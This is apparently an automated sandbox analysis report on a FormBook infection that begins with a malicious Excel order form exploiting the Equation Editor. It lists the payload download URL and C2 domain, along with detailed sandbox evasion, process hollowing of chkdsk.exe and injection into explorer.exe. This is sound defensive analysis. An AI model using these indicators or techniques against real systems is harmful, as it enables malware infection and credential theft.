Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000A72EC push DC386EC8h; ret
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD615 push eax; ret
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD66B push eax; ret
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD662 push eax; ret
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD6CC push eax; ret
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0009FCF7 push ebp; ret

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\bmexo.exe	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F21890 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	RDTSC instruction interceptor: First address: 0000000000408C04 second address: 0000000000408C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	RDTSC instruction interceptor: First address: 0000000000408F9E second address: 0000000000408FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 0000000000098C04 second address: 0000000000098C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 0000000000098F9E second address: 0000000000098FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1320

Thread sleep time: -480000s >= -30000s

Source: C:\Windows\SysWOW64\chkdsk.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 6_2_00408ED0 rdtsc

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 00000007.00000000.1002012184.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000e
Source: explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.987724559.00000000002AF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000007.00000000.1034386831.000000000037B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 00000007.00000000.989955788.0000000004423000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.1041586211.000000000434F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
Source: explorer.exe, 00000007.00000000.1002012184.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F27A95 IsDebuggerPresent,

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F2558A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F286ED __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 6_2_00408ED0 rdtsc

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\chkdsk.exe	Process token adjusted: Debug

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D0591 mov edx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_001603F8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_0016061D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_001606F7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00160736 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00160772 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B26F8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02380080 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023800EA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A26F8 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\chkdsk.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 6_2_0040A140 LdrLoadDll,

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F243CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2439B SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F243CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2439B SetUnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Section unmapped: C:\Windows\SysWOW64\chkdsk.exe base address: 80000

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Memory written: C:\Users\user\AppData\Local\Temp\bmexo.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Thread register set: target process: 1860
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Thread register set: target process: 1860
Source: C:\Windows\SysWOW64\chkdsk.exe	Thread register set: target process: 1860

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"

Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.997360427.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1009986112.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.997360427.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1009986112.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager<

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F23283 cpuid

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F23EC8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\Public\vbc.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	1 Access Token Manipulation	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	512 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	33 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	22 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	512 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	121 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Scripting	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	116 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BON DE COMMANDE POUR CHENOUFI AEK.xlsx	38%	Virustotal		Browse
BON DE COMMANDE POUR CHENOUFI AEK.xlsx	27%	ReversingLabs	Document-OLE.Exploit.CVE-2018-0802

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.bmexo.exe.400000.7.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.2.bmexo.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
5.2.bmexo.exe.170000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.bmexo.exe.400000.5.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.bmexo.exe.400000.9.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://wellformedweb.org/CommentAPI/	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://103.156.91.153/fdcloudfiles/vbc.exej	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://treyresearch.net	0%	URL Reputation	safe
http://103.156.91.153/fdcloudfiles/vbc.exes	0%	Avira URL Cloud	safe
http://103.156.91.153/fdcloudfiles/vbc.exe	11%	Virustotal		Browse
http://103.156.91.153/fdcloudfiles/vbc.exe	100%	Avira URL Cloud	malware
http://java.sun.com	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
www.freerenoadvice.com/ud5f/	100%	Avira URL Cloud	malware
http://computername/printers/printername/.printer	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://103.156.91.153/fdcloudfiles/vbc.exehhC:	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://103.156.91.153/fdcloudfiles/vbc.exe	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
www.freerenoadvice.com/ud5f/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://investor.msn.com	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://wellformedweb.org/CommentAPI/	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iis.fhg.de/audioPA	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.piriform.com/ccleanerq	explorer.exe, 00000007.00000000.999156746.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1036163361.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1011925093.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987988330.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner1SPS0	explorer.exe, 00000007.00000000.994238368.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019525973.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006887265.0000000008611000.00000004.00000001.00020000.00000000.sdmp	false		high
http://103.156.91.153/fdcloudfiles/vbc.exej	EQNEDT32.EXE, 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.964387400.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://treyresearch.net	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://103.156.91.153/fdcloudfiles/vbc.exes	EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false		high
